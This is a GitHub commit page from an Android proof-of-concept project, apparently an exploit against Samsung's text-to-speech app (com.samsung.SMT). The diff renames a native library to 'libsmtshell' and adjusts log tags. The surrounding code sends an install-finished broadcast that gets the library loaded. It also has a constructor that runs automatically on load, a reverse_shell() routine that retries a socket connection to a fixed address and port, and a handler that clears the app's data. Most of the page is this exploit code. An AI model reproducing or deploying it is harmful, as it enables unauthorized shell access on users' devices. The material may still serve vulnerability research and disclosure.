Skip to content

Commit

Permalink
changed some file names and log strings
Browse files Browse the repository at this point in the history
  • Loading branch information
BLuFeNiX committed Mar 6, 2023
1 parent e750b1b commit bdacaf9
Show file tree
Hide file tree
Showing 3 changed files with 10 additions and 7 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ public class MyService extends Service {
public void onCreate() {
super.onCreate();

final String input = this.getApplicationInfo().nativeLibraryDir + "/" + "libmstring.so";
final String input = this.getApplicationInfo().nativeLibraryDir + "/" + "libsmtshell.so";

Intent bi = new Intent();
bi.setAction("com.samsung.SMT.ACTION_INSTALL_FINISHED");
Expand Down
4 changes: 2 additions & 2 deletions langpoc/app/src/main/jni/Android.mk
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)
LOCAL_MODULE := libmstring
LOCAL_MODULE := libsmtshell
LOCAL_CFLAGS := -std=c17 -Wall -Werror
LOCAL_SRC_FILES := \
mstring.c
smtshell.c
LOCAL_LDLIBS := -ldl -llog
include $(BUILD_SHARED_LIBRARY)
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,10 @@
#include <android/log.h>
#include <signal.h>

#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, "mercury-native", __VA_ARGS__)
#define LOG_TAG "smtshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 9999
Expand All @@ -22,7 +25,7 @@ static void reverse_shell() {

s = socket(AF_INET, SOCK_STREAM, 0);
while (connect(s, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
LOGE("connect() error: %s", strerror(errno));
LOGW("connect() error: %s", strerror(errno));
sleep(1); // keep trying to connect
}

Expand All @@ -39,13 +42,13 @@ static void reverse_shell() {
*/
void sig_handler(int signo) {
if (signo == SIGTERM) {
LOGE("caught SIGTERM, clearing SMT data");
LOGI("caught SIGTERM, clearing SMT data");
system("pm clear com.samsung.SMT");
}
}

__attribute__((constructor)) static void on_load() {
LOGE("on_load() called, my uid is %d", getuid());
LOGI("on_load() called, my uid is %d", getuid());
if (signal(SIGTERM, sig_handler) == SIG_ERR) {
LOGE("can't catch SIGTERM!");
}
Expand Down

0 comments on commit bdacaf9

Please sign in to comment.